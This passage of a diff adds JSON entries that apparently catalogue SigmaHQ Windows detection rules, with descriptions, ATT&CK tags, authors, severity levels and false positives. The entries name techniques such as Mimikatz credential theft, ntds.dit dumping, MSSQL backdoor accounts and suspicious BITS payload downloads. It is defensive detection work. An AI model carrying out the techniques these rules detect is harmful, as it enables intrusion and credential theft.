vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", + "uuid": "06d71506-7beb-4f22-8888-e2e5e2ca7fd8", + "value": "Mimikatz Use", + "meta": { + "refs": [ + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml" + ], + "tags": [ + "attack.s0002", + "attack.lateral_movement", + "attack.credential_access", + "car.2013-07-001", + "car.2019-04-004", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.001", + "attack.t1003.006" + ], + "creation_date": "2017/01/10", + "filename": "win_alert_mimikatz_keywords.yml", + "author": "Florian Roth (rule), David ANDRE (additional keywords)", + "level": "high", + "falsepositive": [ + "Naughty administrators", + "AV Signature updates", + "Files with Mimikatz in their filename" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.\nMS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.\nUnfortunately, that is about the only instance of CVEs being written to this log.\n", + "uuid": "48d91a3a-2363-43ba-a456-ca71ac3da5c2", + "value": "Audit CVE Event", + "meta": { + "refs": [ + "https://twitter.com/VM_vivisector/status/1217190929330655232", + "https://twitter.com/DidierStevens/status/1217533958096924676", + "https://twitter.com/FlemmingRiis/status/1217147415482060800", + "https://www.youtube.com/watch?v=ebmW42YYveI", + "https://nullsec.us/windows-event-log-audit-cve/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.privilege_escalation", + "attack.t1068", + "attack.defense_evasion", + "attack.t1211", + "attack.credential_access", + "attack.t1212", + "attack.lateral_movement", + "attack.t1210", + "attack.impact", + "attack.t1499.004" + ], + "creation_date": "2020/01/15", + "filename": "win_audit_cve.yml", + "author": "Florian Roth, Zach Mathis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection method points out highly relevant Antivirus events", + "uuid": "78bc5783-81d9-4d73-ac97-59f6db4f72a8", + "value": "Relevant Anti-Virus Event", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", + "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", + "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588" + ], + "creation_date": "2017/02/19", + "filename": "win_av_relevant_match.yml", + "author": "Florian Roth, Arnim Rupp", + "level": "high", + "falsepositive": [ + "Some software piracy tools (key generators, cracks) are classified as hack tools" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "An application has been removed. Check if it is critical.", + "uuid": "570ae5ec-33dc-427c-b815-db86228ad43e", + "value": "Application Uninstalled", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_builtin_remove_application.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2022/01/28", + "filename": "win_builtin_remove_application.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential abuse of ntdsutil to dump ntds.dit database", + "uuid": "e6e88853-5f20-4c4a-8d26-cd469fd8d31f", + "value": "Ntdsutil Abuse", + "meta": { + "refs": [ + "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_esent_ntdsutil_abuse.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate backup operation/creating shadow copies" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location", + "uuid": "94dc4390-6b7c-4784-8ffc-335334404650", + "value": "Dump Ntds.dit To Suspicious Location", + "meta": { + "refs": [ + "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_esent_ntdsutil_abuse_susp_location.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate backup operation/creating shadow copies" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects MSI package installation from suspicious locations", + "uuid": "c7c8aa1c-5aff-408e-828b-998e3620b341", + "value": "MSI Installation From Suspicious Locations", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/31", + "filename": "win_msi_install_from_susp_locations.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some false positives may occur depending on the environnement" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects installation of a remote msi file from web.", + "uuid": "5594e67a-7f92-4a04-b65d-1a42fd824a60", + "value": "MSI Installation From Web", + "meta": { + "refs": [ + "https://twitter.com/_st0pp3r_/status/1583922009842802689", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_web.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218", + "attack.t1218.007" + ], + "creation_date": "2022/10/23", + "filename": "win_msi_install_from_web.yml", + "author": "Stamatis Chatzimangou", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", + "uuid": "08200f85-2678-463e-9c32-88dce2f073d1", + "value": "MSSQL Add Account To Sysadmin Role", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_add_sysadmin_account.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/13", + "filename": "win_mssql_add_sysadmin_account.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", + "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", + "value": "MSSQL Disable Audit Settings", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_disable_audit_settings.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/13", + "filename": "win_mssql_disable_audit_settings.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server", + "uuid": "711ab2fe-c9ba-4746-8840-5228a58c3cb8", + "value": "MSSQL Extended Stored Procedure Backdoor Maggie", + "meta": { + "refs": [ + "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_maggie.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546" + ], + "creation_date": "2022/10/09", + "filename": "win_mssql_sp_maggie.yml", + "author": "Denis Szadkowski, DIRT / DCSO CyTec", + "level": "high", + "falsepositive": [ + "Legitimate extended stored procedures named maggie" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", + "uuid": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964", + "value": "MSSQL SPProcoption Set", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/13", + "filename": "win_mssql_sp_procoption_set.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate use of the feature by administrators (rare)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", + "uuid": "7f103213-a04e-4d59-8261-213dddf22314", + "value": "MSSQL XPCmdshell Suspicious Execution", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_audit_log.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/12", + "filename": "win_mssql_xp_cmdshell_audit_log.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed", + "uuid": "d08dd86f-681e-4a00-a92c-1db218754417", + "value": "MSSQL XPCmdshell Option Change", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/12", + "filename": "win_mssql_xp_cmdshell_change.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate enable/disable of the setting", + "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", + "uuid": "87261fb2-69d0-42fe-b9de-88c6b5f65a43", + "value": "Atera Agent Installation", + "meta": { + "refs": [ + "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml" + ], + "tags": [ + "attack.t1219" + ], + "creation_date": "2021/09/01", + "filename": "win_software_atera_rmm_agent_install.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Legitimate Atera agent installation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects backup catalog deletions", + "uuid": "9703792d-fd9a-456d-a672-ff92efe4806a", + "value": "Backup Catalog Deleted", + "meta": { + "refs": [ + "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2017/05/12", + "filename": "win_susp_backup_delete.yml", + "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", + "uuid": "6c82cf5c-090d-4d57-9188-533577631108", + "value": "Microsoft Malware Protection Engine Crash", + "meta": { + "refs": [ + "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", + "https://technet.microsoft.com/en-us/library/security/4022344", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_msmpeng_crash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1211", + "attack.t1562.001" + ], + "creation_date": "2017/05/09", + "filename": "win_susp_msmpeng_crash.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "MsMpEng.exe can crash when C:\\ is full" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", + "uuid": "d6266bf5-935e-4661-b477-78772735a7cb", + "value": "CVE-2020-0688 Exploitation via Eventlog", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", + "https://cyberpolygon.com/materials/okhota-na-ataki-ms-exchange-chast-2-cve-2020-0688-cve-2020-16875-cve-2021-24085/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2020_0688.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/02/29", + "filename": "win_vul_cve_2020_0688.yml", + "author": "Florian Roth, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379", + "uuid": "7dbb86de-a0cc-494c-8aa8-b2996c9ef3c8", + "value": "LPE InstallerFileTakeOver PoC CVE-2021-41379", + "meta": { + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2021_41379.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/11/22", + "filename": "win_vul_cve_2021_41379.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other MSI packages for which your admins have used that name" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", + "uuid": "401e5d00-b944-11ea-8f9a-00163ecd60ae", + "value": "File Was Not Allowed To Run", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker", + "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.006", + "attack.t1059.007" + ], + "creation_date": "2020/06/28", + "filename": "win_applocker_file_was_not_allowed_to_run.yml", + "author": "Pushkarev Dmitry", + "level": "medium", + "falsepositive": [ + "Need tuning applocker or add exceptions in SIEM" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", + "uuid": "d635249d-86b5-4dad-a8c7-d7272b788586", + "value": "Suspicious Download with BITS from Suspicious TLD", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://twitter.com/malmoeb/status/1535142803075960832", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/06/28", + "filename": "win_bits_client_susp_domain.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "b85e5894-9b19-4d86-8c87-a2f3b81f0521", + "value": "Suspicious Download File Extension with BITS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/03/01", + "filename": "win_bits_client_susp_local_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "f8a56cb7-a363-44ed-a82f-5926bb44cd05", + "value": "Download with BITS to Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/06/28", + "filename": "win_bits_client_susp_local_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "fe3a2d49-f255-4d10-935c-bda7391108eb", + "value": "Suspicious Task Added by Powershell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_powershell_job.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/03/01", + "filename": "win_bits_client_susp_powershell_job.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "1ff315dc-2a3a-4b71-8dde-873818d25d39", + "value": "Suspicious Task Added by Bitsadmin", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_use_bitsadmin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/03/01", + "filename": "win_bits_client_susp_use_bitsadmin.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", + "uuid": "6d44fb93-e7d2-475c-9d3d-54c9c1e33427", + "value": "Suspicious Download with BITS from Suspicious TLD", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://twitter.com/malmoeb/status/1535142803075960832", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/06/10", + "filename": "win_bits_client_uncommon_domain.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Other legitimate domains used by software updaters" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempted DLL load events that didn't meet anti-malware or Windows signing level requirements. It often means the file's signature is revoked or expired", + "uuid": "f8931561-97f5-4c46-907f-0a4a592e47a7", + "value": "Code Integrity Attempted DLL Load", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1483810148602814466", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/01/20", + "filename": "win_codeintegrity_attempted_dll_load.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects blocked load attempts of revoked drivers", + "uuid": "9b72b82d-f1c5-4632-b589-187159bc6ec1", + "value": "Block Load Of Revoked Driver", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1590434950335320065", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/11/10", + "filename": "win_codeintegrity_revoked_driver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated code integrity policy", + "uuid": "e4be5675-4a53-426a-8c81-a8bb2387e947", + "value": "Code Integrity Blocked Driver Load", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1590434950335320065", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintergiry_blocked_driver_load.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/11/10", + "filename": "win_codeintergiry_blocked_driver_load.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability", + "uuid": "50cb47b8-2c33-4b23-a2e9-4600657d9746", + "value": "Loading Diagcab Package From Remote Path", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1539679555908141061", + "https://twitter.com/j00sean/status/1537750439701225472", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_diagnosis_scripted_load_remote_diagcab.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate package hosted on a known and authorized remote location" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "uuid": "3db10f25-2527-4b79-8d4b-471eb900ee29", + "value": "GALLIUM Artefacts", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_apt_gallium.yml" + ], + "tags": [ + "attack.credential_access", + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2020/02/07", + "filename": "win_apt_gallium.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", + "uuid": "cbe51394-cd93-4473-b555-edf0144952d9", + "value": "DNS Server Error Failed Loading the ServerLevelPluginDLL", + "meta": { + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", + "https://twitter.com/gentilkiwi/status/861641945944391680", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_susp_dns_config.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/05/08", + "filename": "win_susp_dns_config.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects plugged USB devices", + "uuid": "1a4bd6e3-4c6e-405d-a9a3-53a116e341d4", + "value": "USB Device Plugged", + "meta": { + "refs": [ + "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", + "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1200" + ], + "creation_date": "2017/11/09", + "filename": "win_usb_device_plugged.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A rule has been modified in the Windows Firewall exception list", + "uuid": "cde0a575-7d3d-4a49-9817-b8004a7bf105", + "value": "Added Rule in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_add_rule.yml", + "author": "frack113", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A rule has been modified in the Windows Firewall exception list", + "uuid": "5570c4d9-8fdd-4622-965b-403a5a101aa0", + "value": "Modified Rule in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_change_rule.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A rule has been deleted in the Windows Firewall exception list.", + "uuid": "c187c075-bb3e-4c62-b4fa-beae0ffc211f", + "value": "Delete Rule in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + 